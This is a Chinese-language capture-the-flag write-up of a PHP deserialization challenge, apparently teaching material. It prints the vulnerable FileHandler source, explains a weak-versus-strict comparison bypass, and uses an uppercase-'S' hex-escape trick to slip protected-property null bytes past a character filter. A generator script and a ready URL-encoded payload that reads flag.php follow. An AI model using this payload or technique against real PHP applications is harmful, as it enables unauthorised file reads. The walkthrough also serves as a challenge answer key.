代码审计
得到一大串源码,但是不要慌,虽然源码很多,其实题目并不难
这段代码是一个简单的文件读写类 FileHandler,以及一个反序列化函数 unserialize() 的使用。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先,引入了 flag.php 文件
然后,定义了一个名为 FileHandler 的类,该类拥有以下属性和方法:
$op:操作类型,默认为 "1"。
$filename:文件名,默认为 "/tmp/tmpfile"。
$content:文件内容,默认为 "Hello World!"。
构造函数 __construct() 用于初始化属性,并调用 process() 方法进行处理。
process() 方法根据 $op 的值,决定执行不同的操作。当 $op 为 "1" 时(注意这里的弱类型比较),调用 write() 方法进行写操作;当 $op 为 "2" 时,调用 read() 方法进行读操作;否则,输出 "Bad Hacker!"。
write() 方法首先检查 $filename 和 $content 是否存在。如果 $content 的长度超过 100 个字符,则输出 "Too long!" 并终止程序。否则,使用 file_put_contents() 函数将 $content 写入到 $filename 中,并根据写入结果输出相应的信息。
read() 方法根据 $filename 使用 file_get_contents() 函数读取文件内容,并返回读取结果。
output() 方法用于输出结果,在结果前添加了一个固定的字符串 "[Result]: <br>"。
__destruct() 方法在对象销毁时被调用,如果 $op 的值为 "2"(注意这里的强类型比较),则将 $op 的值修改为 "1",并清空 $content,然后再次调用 process() 方法。
接下来,定义了一个名为 is_valid() 的函数,用于检查一个字符串是否包含有效的可打印字符。
该函数使用 ord() 函数判断字符串中每个字符的 ASCII 值是否在可打印字符的范围内(32 到 125),如果有不在范围内的字符,则返回 false,否则返回 true。
最后,通过 $_GET 获取名为 str 的参数,并将其转换为字符串类型的变量 $str。如果 $str 经过 is_valid() 函数的检查,返回 true,则使用 unserialize() 函数对 $str 进行反序列化操作,并将结果赋值给变量 $obj。
解题思路
到最后我们得知有用到的就三个:
一个是read方法,根据read方法的性质,现将filename属性的初值设定为我们要查看的flag.php
再将op属性的值设置为整数类型的2,这样就可以绕过__desyruct方法又可以执行read()方法
最后涉及到两个知识点是有关protected可见性和序列化大写S的情况:
protected可见性
op,filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验
public可见性的序列化:
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D
protected可见性的序列化:
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
反序列化大写S
根据 PHP 的序列化规则,字母 "s" 用于表示字符串数据类型,而 "S" 用于表示十六进制字符串数据类型。因此,如果将 "s" 改为大写的 "S",则可以解析十六进制。
所以我们可以将protected可见性所产生的%00转换为\\00(因为要转义,所以要两个\)
最终代码
<?php
class FileHandler {
protected $op = 2;
protected $filename ='flag.php';
protected $content;
}
$a = urlencode(serialize(new FileHandler));
$b =str_replace('%00',"\\00",$a);
$b =str_replace('s','S',$b);
echo $b
?>
payload:O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D
在源码中可以获得flag